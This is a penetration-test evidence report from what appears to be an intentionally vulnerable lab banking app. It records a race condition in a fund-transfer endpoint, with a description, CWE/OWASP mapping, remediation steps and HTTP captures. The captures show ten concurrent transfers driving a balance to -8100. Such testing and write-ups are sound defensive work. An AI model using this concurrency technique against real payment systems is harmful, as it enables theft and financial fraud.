Test case 11 / 26FAIL

Race Condition - Transfer - Balance Check

Lab environment — not a production system

Screenshots and raw traffic are not translated; text within them may be in another language.

vuln-bank/Evidence/[FAIL] Race Condition - Transfer - Balance Check

01 — Notes

Test notes

Vulnerability

[FAIL] Race Condition - Transfer - Balance Check

Description

The /transfer endpoint reads the sender's balance, checks that funds are sufficient, then writes the new balance as a separate operation with no atomic database transaction and no row locking. Ten concurrently sent transfer requests all pass the balance check using the same stale value before any write completes (TOCTOU).

Impact

Integrity (Critical): an attacker can send funds far beyond their available balance. In testing, the sender's balance went negative while the recipient's balance increased in full, creating money out of thin air. In a banking system this means direct financial loss and inconsistent accounting.

CWE

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization

OWASP

A04:2021 - Insecure Design

Scenario

Normal: one transfer within the balance succeeds, and one transfer exceeding the balance is rejected with an insufficient funds message, proving the control works when serialized. Exploitation: ten transfers of 900 each are sent in parallel from a much smaller balance. Impact: the sender's balance becomes negative and the total transferred exceeds the balance ever held.

Endpoint

POST http://127.0.0.1:5001/transfer

Affected feature

Fund transfers between accounts

Remediation

- Perform the balance check and the debit in a single atomic database transaction. - Lock the sender's account row (SELECT ... FOR UPDATE) or use a conditional update UPDATE ... SET balance = balance - x WHERE balance >= x. - Add a CHECK (balance >= 0) constraint on the balance column as a safety net. - Apply an idempotency key and rate limiting to the transfer endpoint.

Proof of concept

1) (Screenshot 1) NORMAL: a transfer of 100 within the balance -> succeeds. 2) (Screenshot 2) NORMAL: a transfer of 5000 exceeding the balance -> rejected, the balance control works when serialized. 3) (Screenshot 3) BASELINE: the attacker's balance before the attack = 900.0. 4) (Screenshot 4) EXPLOITATION: ten transfers of 900 are sent concurrently -> all are reported successful. 5) (Screenshot 5) CIA IMPACT: the attacker's balance becomes -8100.0, negative and beyond the funds ever held.
View source note (English)
Vulnerability:
[FAIL] Race Condition - Transfer - Balance Check

Description:
The /transfer endpoint reads the sender's balance, checks that funds are sufficient, then writes the new balance as a separate operation with no atomic database transaction and no row locking. Ten concurrently sent transfer requests all pass the balance check using the same stale value before any write completes (TOCTOU).

Impact:
Integrity (Critical): an attacker can send funds far beyond their available balance. In testing, the sender's balance went negative while the recipient's balance increased in full, creating money out of thin air. In a banking system this means direct financial loss and inconsistent accounting.

CWE:
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization

OWASP:
A04:2021 - Insecure Design

Scenario:
Normal: one transfer within the balance succeeds, and one transfer exceeding the balance is rejected with an insufficient funds message, proving the control works when serialized. Exploitation: ten transfers of 900 each are sent in parallel from a much smaller balance. Impact: the sender's balance becomes negative and the total transferred exceeds the balance ever held.

Endpoint:
POST http://127.0.0.1:5001/transfer

Affected Feature:
Fund transfers between accounts

Remediation:
- Perform the balance check and the debit in a single atomic database transaction.
- Lock the sender's account row (SELECT ... FOR UPDATE) or use a conditional update UPDATE ... SET balance = balance - x WHERE balance >= x.
- Add a CHECK (balance >= 0) constraint on the balance column as a safety net.
- Apply an idempotency key and rate limiting to the transfer endpoint.

POC:
1) (Screenshot 1) NORMAL: a transfer of 100 within the balance -> succeeds.
2) (Screenshot 2) NORMAL: a transfer of 5000 exceeding the balance -> rejected, the balance control works when serialized.
3) (Screenshot 3) BASELINE: the attacker's balance before the attack = 900.0.
4) (Screenshot 4) EXPLOITATION: ten transfers of 900 are sent concurrently -> all are reported successful.
5) (Screenshot 5) CIA IMPACT: the attacker's balance becomes -8100.0, negative and beyond the funds ever held.

02 — Screenshots

Screenshots (5)

01 / 1
02 / 2
03 / 3
04 / 4
05 / 5

03 — Requests and responses

HTTP captures

Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.

CAPTURE 01 / 1
HTTP request
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 43
Content-Type: application/json

{"to_account": "9159912486", "amount": 100}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 87
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:24 GMT

{
  "message": "Transfer Completed",
  "new_balance": 900.0,
  "status": "success"
}
CAPTURE 02 / 2
HTTP request
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 44
Content-Type: application/json

{"to_account": "9159912486", "amount": 5000}
HTTP response
HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 60
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:25 GMT

{
  "message": "Insufficient funds",
  "status": "error"
}
CAPTURE 03 / 3
HTTP request
GET /check_balance/0932191785 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 117
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:26 GMT

{
  "account_number": "0932191785",
  "balance": 900.0,
  "status": "success",
  "username": "pentest_attacker"
}
CAPTURE 04 / 4
HTTP request
POST /transfer HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 43
Content-Type: application/json

{"to_account": "9159912486", "amount": 900}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 85
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:27 GMT

{
  "message": "Transfer Completed",
  "new_balance": 0.0,
  "status": "success"
}
CAPTURE 05 / 5
HTTP request
GET /check_balance/0932191785 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 119
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:28 GMT

{
  "account_number": "0932191785",
  "balance": -8100.0,
  "status": "success",
  "username": "pentest_attacker"
}